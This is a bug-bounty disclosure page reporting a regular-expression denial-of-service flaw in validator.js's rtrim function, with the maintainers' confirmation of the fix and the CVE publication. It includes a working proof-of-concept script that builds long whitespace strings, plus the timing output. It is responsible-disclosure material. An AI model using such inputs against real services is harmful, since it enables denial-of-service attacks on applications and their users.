huntr

Inefficient Regular Expression Complexity in validatorjs/validator.js

0

✓ Valid Reported on Sep 21st 2021

Description

I would like to report a Regular Expression Denial of Service (ReDoS) vulnerability in validator.
It allows cause a denial of service when calling function 'rtrim'.
The ReDoS vulnerability is mainly due to the regex `/(\s)+$/g` and can be exploited with the following code.

Proof of Concept

```
// PoC.js
var validator = require("validator")

for(var i = 1; i <= 50000; i++) {
    var time = Date.now();
    var attack_str = 'a'+' '.repeat(i*10000)+"a";
    validator.rtrim(attack_str);
    var time_cost = Date.now() - time;
    console.log("attack_str.length: " + attack_str.length + ": " + time_cos
}
```

The Output

```
"attack_str.length: 10002: 326 ms"
"attack_str.length: 20002: 1105 ms"
"attack_str.length: 30002: 2489 ms"
"attack_str.length: 40002: 4462 ms"
"attack_str.length: 50002: 6967 ms"
"attack_str.length: 60002: 10265 ms"
```

Reference

I have opened an issue before, but it is still not safe after fix.
For repair, you can refer to the `rtrim` function in package trim

Occurrences

JS rtrim.js L6

CVE
CVE-2021-3765
(Published)

Vulnerability Type
CWE-1333: Inefficient Regular Expression Complexity

Severity
Medium (5.3)

Affected Version
*

Visibility
Public

Status
Fixed

Found by

Yeting Li
@yetingli
unranked

This report was seen 912 times.

We have contacted a member of the **validatorjs/validator.js** team and are waiting to hear back
a year ago

Chat with us

Sarhan Aissi a year ago Maintainer

Thank you Yeting Li for reporting again a vulnerability in our package. Let me investigate the issue and get back to you asap

Sarhan Aissi validated this vulnerability a year ago

Yeting Li has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

Sarhan Aissi a year ago Maintainer

A PR containing a fix has been created. We will probably make a new release in the next few days including this fix.
Thanks again Yeting Li for spotting the ReDoS!

Jamie Slome a year ago Admin

Awesome!

Once the fix has been merged, feel free to confirm the fix on the report, and we can go ahead and publish a CVE 👏

Sarhan Aissi marked this as fixed with commit 496fc8 a year ago

The fix bounty has been dropped ✗

This vulnerability will not receive a CVE ✗

rtrim.js#L6 has been validated ✓

Sarhan Aissi a year ago Maintainer

Thank you guys! We finally released the fix in validator 13.7.0. We will probably add a security advisory when the CVE is published

Jamie Slome a year ago Admin

CVE published! 🎊

Sarhan Aissi a year ago Maintainer

Advisory published https://github.com/validatorjs/validator.js/security/advisories/GHSA-xx4c-jj58-r7x6 🎉

Yeting Li a year ago Researcher

Hi Sarhan and Jamie, thanks a lot!

Sign in to join this conversation